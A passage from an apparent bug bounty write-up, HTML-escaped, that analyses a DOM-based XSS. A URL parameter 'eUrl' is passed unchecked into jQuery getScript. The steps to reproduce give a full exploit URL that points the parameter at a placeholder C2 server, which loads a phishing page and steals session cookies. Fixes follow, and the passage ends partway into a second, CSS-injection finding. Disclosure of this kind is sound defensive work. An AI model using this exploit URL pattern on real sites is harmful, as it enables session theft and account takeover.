&lt;/table&gt;
&lt;p&gt;Here, the parameter of utmost importance is the &lt;code&gt;eUrl&lt;/code&gt; parameter. As it is used to dynamically generate content.&lt;/p&gt;
&lt;p&gt;From the source code, we can see that among the below shown lines, the vulnerability exists:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-Javascript&#34; data-lang=&#34;Javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;eUrl&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; decodeURIComponent(&lt;span style=&#34;color:#a6e22e&#34;&gt;urlObj&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;searchParams&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;get&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;eUrl&amp;#39;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;elementStyleTag&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; document.&lt;span style=&#34;color:#a6e22e&#34;&gt;createElement&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;link&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;elementStyleTag&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;setAttribute&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;rel&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;stylesheet&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;elementStyleTag&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;setAttribute&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;href&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;eUrl&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/styles.css&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;document.&lt;span style=&#34;color:#a6e22e&#34;&gt;head&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;appendChild&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;elementStyleTag&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       &lt;span style=&#34;color:#a6e22e&#34;&gt;$&lt;/span&gt;(document).&lt;span style=&#34;color:#a6e22e&#34;&gt;ready&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6e22e&#34;&gt;kendo&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;ui&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;progress&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;$&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;body&amp;#34;&lt;/span&gt;), &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6e22e&#34;&gt;$&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;getScript&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#a6e22e&#34;&gt;url&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;eUrl&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/deployment/env/&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;env&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;.config.js&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#a6e22e&#34;&gt;cache&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            }, &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; () {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#a6e22e&#34;&gt;$&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;getScript&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#a6e22e&#34;&gt;url&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;eUrl&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/keycloak.js&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#a6e22e&#34;&gt;cache&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                }, &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; () {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// Rest of the code
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here is the breakdown of the code:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-Javascript&#34; data-lang=&#34;Javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;eUrl&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; decodeURIComponent(&lt;span style=&#34;color:#a6e22e&#34;&gt;urlObj&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;searchParams&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;get&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;eUrl&amp;#39;&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This line retrieves the &lt;code&gt;eUrl&lt;/code&gt; parameter from the &lt;code&gt;urlObj&lt;/code&gt;, decodes it using &lt;code&gt;decodeURIComponent()&lt;/code&gt;, and assigns it to the &lt;code&gt;eUrl&lt;/code&gt; variable.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-Javascript&#34; data-lang=&#34;Javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;elementStyleTag&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; document.&lt;span style=&#34;color:#a6e22e&#34;&gt;createElement&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;link&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;elementStyleTag&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;setAttribute&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;rel&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;stylesheet&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;elementStyleTag&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;setAttribute&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;href&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;eUrl&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/styles.css&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;document.&lt;span style=&#34;color:#a6e22e&#34;&gt;head&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;appendChild&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;elementStyleTag&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;These lines create a new &lt;code&gt;link&lt;/code&gt; element, set its &lt;code&gt;rel&lt;/code&gt; attribute to &amp;ldquo;stylesheet&amp;rdquo;, set its &lt;code&gt;href&lt;/code&gt; attribute to the URL of the stylesheet (which is formed by appending &amp;lsquo;/styles.css&amp;rsquo; to &lt;code&gt;eUrl&lt;/code&gt;), and append this element to the head of the document.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-Javascript&#34; data-lang=&#34;Javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;$&lt;/span&gt;(document).&lt;span style=&#34;color:#a6e22e&#34;&gt;ready&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;kendo&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;ui&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;progress&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;$&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;body&amp;#34;&lt;/span&gt;), &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;$&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;getScript&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;url&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;eUrl&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/deployment/env/&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;env&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;.config.js&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;cache&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }, &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; () {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;$&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;getScript&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6e22e&#34;&gt;url&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;eUrl&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/keycloak.js&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6e22e&#34;&gt;cache&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }, &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; () {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// Rest of the code
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In this block, jQuery is set to execute when the document is ready. It displays a loading animation and uses the &lt;code&gt;getScript()&lt;/code&gt; function to fetch and execute two JavaScript files from URLs built using the user-provided&lt;code&gt; eUrl&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The vulnerability here lies in the way &lt;code&gt;eUrl&lt;/code&gt; is used. Since this value comes from the user and is not validated or sanitized before use, an attacker could manipulate this value to point to a malicious script on a different server. When the jQuery &lt;code&gt;getScript()&lt;/code&gt; function fetches and executes this script, it would run in the context of the user&amp;rsquo;s session, leading to a DOM-based Cross-Site Scripting (XSS) attack.&lt;/p&gt;
&lt;p&gt;Furthermore, &lt;code&gt;HTTPOnly&lt;/code&gt; flag is not used for the &lt;code&gt;ASPSESSIONID&lt;/code&gt; cookie which acts as a session cookie. This allows a remote unauthenticated attacker to perform single-click account takeovers.&lt;/p&gt;
&lt;h4 id=&#34;steps-to-reproduce&#34;&gt;Steps To Reproduce:&lt;/h4&gt;
&lt;ol start=&#34;0&#34;&gt;
&lt;li&gt;To later validate access to session cookies, first visit the following URL: &lt;a href=&#34;https://REDACTED.example.com/login.asp&#34;&gt;https://REDACTED.example.com/login.asp&lt;/a&gt;. This will set the &lt;code&gt;ASPSESSIONID&lt;/code&gt; cookie. This step is optional and its only purpose is to set cookies.&lt;/li&gt;
&lt;li&gt;Visit the following URL: &lt;a href=&#34;https://REDACTED.example.com/v2/xxx-login.asp?action=login&amp;amp;env=REDACTED-prod&amp;amp;eUrl=https://MY_C2_SERVER/&amp;amp;userType=PARTNER&amp;amp;REDACTEDLookupCode=REDACTED.example.com&amp;amp;REDACTEDName=&amp;amp;ssolang=en&amp;amp;REDACTEDUrl=https://REDACTED.example.com/login.asp&amp;amp;dossologin=true&#34;&gt;https://REDACTED.example.com/v2/xxx-login.asp?action=login&amp;amp;env=REDACTED-prod&amp;amp;eUrl=https://MY_C2_SERVER/&amp;amp;userType=PARTNER&amp;amp;REDACTEDLookupCode=REDACTED.example.com&amp;amp;REDACTEDName=&amp;amp;ssolang=en&amp;amp;REDACTEDUrl=https://REDACTED.example.com/login.asp&amp;amp;dossologin=true&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;As you open the URL, you will be redirected to my malicious SSO login page. A tech-savvy person will immediately recognize this as a phishing attack. While someone less familiar with such tactics may not.&lt;/li&gt;
&lt;li&gt;However, if you check your request logs using Burp Suite, you will notice that your session cookies are already compromised and sent to the attacker&amp;rsquo;s server.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;recommendations&#34;&gt;Recommendations&lt;/h4&gt;
&lt;p&gt;To fix this vulnerability, follow these steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Validate User Inputs&lt;/strong&gt;: Always validate user inputs. For &lt;code&gt;eUrl&lt;/code&gt;, ensure it points to a known, safe domain and doesn&amp;rsquo;t contain unexpected path or query elements.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sanitize User Inputs&lt;/strong&gt;: Beyond validation, sanitize user inputs. This can include escaping special characters or using secure functions that perform these tasks automatically.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use Allow-lists&lt;/strong&gt;: Employ an allow-list approach. Only permit specific, known-good inputs to pass through.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Implement Content Security Policy (CSP)&lt;/strong&gt;: Use Content Security Policy headers to limit the sources from which scripts can be loaded. This can prevent unauthorized script execution.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Set HTTPOnly Flag&lt;/strong&gt;: Apply the &lt;code&gt;HTTPOnly&lt;/code&gt; flag to the &lt;code&gt;ASPSESSIONID&lt;/code&gt; cookie. This prevents the cookie from being accessed by client-side scripts, protecting it from theft during an XSS attack.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use SameSite Attribute for Cookies&lt;/strong&gt;: Set the &lt;code&gt;SameSite&lt;/code&gt; attribute for the session cookie to &lt;code&gt;Strict&lt;/code&gt; or &lt;code&gt;Lax&lt;/code&gt;. This offers extra protection against Cross-Site Request Forgery (CSRF) attacks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Regularly Update and Patch&lt;/strong&gt;: Keep all software (libraries, frameworks, servers, etc.) up to date. Apply patches promptly as they become available.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;supporting-materialreferences&#34;&gt;Supporting Material/References:&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Optional login page that is used to set cookies&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;REDACTED&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;Phishing page that we made to trick users&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;REDACTED&lt;/p&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;Cookies leaked without user knowing&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;REDACTED&lt;/p&gt;
&lt;h4 id=&#34;impact&#34;&gt;Impact&lt;/h4&gt;
&lt;p&gt;A remote unauthenticated attacker can perform the following actions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Launch a Cross-Site Scripting (XSS) attack&lt;/strong&gt;: The attacker can manipulate the &lt;code&gt;eUrl&lt;/code&gt; parameter to point to a malicious script. This script will be fetched and executed within the user&amp;rsquo;s session when the page loads, giving the attacker the ability to modify the webpage content or perform actions on behalf of the user.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Steal session cookies&lt;/strong&gt;: The &lt;code&gt;ASPSESSIONID&lt;/code&gt; cookie does not have the &lt;code&gt;HTTPOnly&lt;/code&gt; flag set, which means it can be accessed by client-side scripts. In the event of a successful XSS attack, this cookie can be stolen, compromising the user&amp;rsquo;s session.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Perform account takeover&lt;/strong&gt;: With the stolen session cookie, the attacker can impersonate the victim&amp;rsquo;s session, leading to unauthorized access to the user&amp;rsquo;s account and potentially any sensitive data or functionalities it contains.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Conduct harmful actions&lt;/strong&gt;: Once the account is taken over, the attacker can perform potentially harmful actions such as changing user settings, sending messages, or making transactions.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;All these malicious actions can be performed with just a single click from the user, increasing the risk and ease of the attack.&lt;/p&gt;
&lt;h3 id=&#34;2-css-injection&#34;&gt;2. CSS Injection?&lt;/h3&gt;
&lt;p&gt;While checking a static page of an in-scope application, I came across an interesting JavaScript file.&lt;/p&gt;
&lt;p&gt;The code looked like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-Javascript&#34; data-lang=&#34;Javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;current_url_string&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; window.&lt;span style=&#34;color:#a6e22e&#34;&gt;location&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;href&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;current_url&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;URL&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;current_url_string&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;linkObj&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;current_url&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;searchParams&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;get&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;link1&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;userPhotoUrl&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;current_url&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;searchParams&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;get&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;user_photo_url&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;decodeDeepLink&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;linkObj&lt;/span&gt;).&lt;span style=&#34;color:#a6e22e&#34;&gt;user_photo_url&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;photoBaseUrl&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://REDACTED.example.com/media/profile-photos&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;userPhotoUrl&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;userPhotoUrl&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;startsWith&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;photoBaseUrl&lt;/span&gt;)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;$&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;.profile-img-placeholder&amp;#34;&lt;/span&gt;).&lt;span style=&#34;color:#a6e22e&#34;&gt;css&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;background&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;url(&amp;#34;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;userPhotoUrl&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#34;)&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  );
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I started to analyze the JavaScript code by manually reading.&lt;/p&gt;
